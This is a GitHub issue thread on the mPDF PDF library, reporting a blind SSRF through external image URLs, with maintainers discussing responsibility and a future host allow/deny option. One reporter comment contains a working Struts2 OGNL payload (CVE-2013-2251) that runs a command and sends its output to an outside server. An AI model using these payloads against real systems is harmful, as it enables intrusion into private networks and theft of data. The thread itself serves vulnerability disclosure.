Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Possible SSRF with URLs of external resources #867

Closed
maplebluex opened this issue Sep 26, 2018 · 10 comments
Closed

Possible SSRF with URLs of external resources #867

maplebluex opened this issue Sep 26, 2018 · 10 comments

Comments

@maplebluex
Copy link

maplebluex commented Sep 26, 2018

Hello, when I was do some security test. I found a vulnerability that may lead to ssrf of the server which host a html2pdf service with mPDF. The poc is as follow:

<?php
error_reporting(E_ALL); 
ini_set('display_errors', 1);
require_once __DIR__ . '/vendor/autoload.php';

$mpdf = new \Mpdf\Mpdf();
//$mpdf->WriteHTML('<h1>Hello world!</h1>');
$mpdf->WriteHTML('<?xml version="1.0"?>
<img src="http://192.168.0.2:16666/1.jpg">
');
$mpdf->Output("test1.pdf",'F');

the another server (192.168.0.2) will get a request from above

In real scenario the poc may be sent from font end . so attacker will send this to server side and trigger a SSRF bug which may lead to attack private network

mPDF version:v7.1.5 OS:UBUNTU 16.0.4

@finwe
Copy link
Member

finwe commented Sep 26, 2018

It seems to me it is a concern of the user of the library to prevent external changes to mPDF templates loading external resources.

The library itself cannot decide which resources to allow and which to deny unless it would deny all external resources, which is a no-go.

Can you elaborate?

@MatthiasKuehneEllerhold

Mh it would be nice to whitelist / blacklist hosts to load external resources from. Is there an easy way to to this or add this currently?

@finwe
Copy link
Member

finwe commented Sep 26, 2018

No, there isn't.

@finwe finwe changed the title hello,I find a security bug of mpdf Possible SSRF with URLs of external resources Sep 26, 2018
@maplebluex
Copy link
Author

well, I was play with a private bug bounty program some days ago. And found one of target server with a html2pdf service of mPDF, then I found when I modify some content which would be transformed.
from:

<img src="http://some.cdn.com">

to:

<img src="http://some.intranet.ip:port">

It make a request to intranet server. It is a ssrf!
I successfully reach the intranet by this way. After some recon, I got a strust2 bug in one of the intranet
server. and exploited it with this ssrf

<img src="http://target.intranet.ip:port/poc?of#strust2">

So I think this 'character ' may be dangerous in some scenario, and I agree your words:'The library itself cannot decide which resources to allow and which to deny '. But I think it would be better have a switch(config option?) to choose let this mpdf to get the intranet resources or not.

@finwe
Copy link
Member

finwe commented Sep 26, 2018

A few remarks:

  • AFAIK only GET requests are possible with src attributes of HTML elements
  • AFAIK no data from the server are displayed in the PDF unless the content type is actually an image (the Annotations bug has been already addressed)
  • Can you be more specific about the "exploit" of the struts (I believe you have a typo there) "bug" you are mentioning? Some references? What exact threats are possible using this approach?

Whole path handling calls for a refactoring, yes, I guess we can incorporate a blacklist/whitelist while doing that. Will make a separate feature request for that.

@finwe
Copy link
Member

finwe commented Sep 26, 2018

#868

@maplebluex
Copy link
Author

Thanks for your reply. I will write the answers one by one.

  1. Yeah, but GET requests is enough to exploit many bugs
  2. Yeah, but what I need is smuggle my payload to the intranet, there would be better if I can get the response in the PDF. Just as you said, I cant get the data displayed because the content type is NOT an image. So this is a blind ssrf, which means attacker could send payload to the target, but can not get the response from the PDF.
  3. Sorry for my typo, my poc is as follow:
<img src="http://127.0.0.1:16666//index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23t%3d%23d.readLine(),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.setContentType(%27text/html%27),%23matt.getWriter().println(%23e),%23u%3d%22http://111.112.113.114:9999/result%3d%22.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(%22GET%22),%23http.connect(),%23http.getInputStream()}">

For more detail about this bug, plz search CVE-2013-2251.

In a word, this bug could be triggered with a single GET request, and it will execute any command in the vulnerable server. Also the poc was well-designed to send back the result to my VPS(http://111.112.113.114:9999/result). All that I need is make the server to send a GET requests to the intranet.

@jakejackson1
Copy link
Contributor

jakejackson1 commented Sep 27, 2018

@maplebluex I appreciate what you're saying, but it's not our job to sanitise your input. If you allow users to pass HTML without sanitising it, you're asking for trouble.

@maplebluex
Copy link
Author

@jakejackson1 Yeah, in fact the input should be sanitized, but many users do not know how to do it, so I think it would be better to have a choice inside of the mPDF

@finwe
Copy link
Member

finwe commented Sep 27, 2018

Closing this, the new feature request remains open.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

4 participants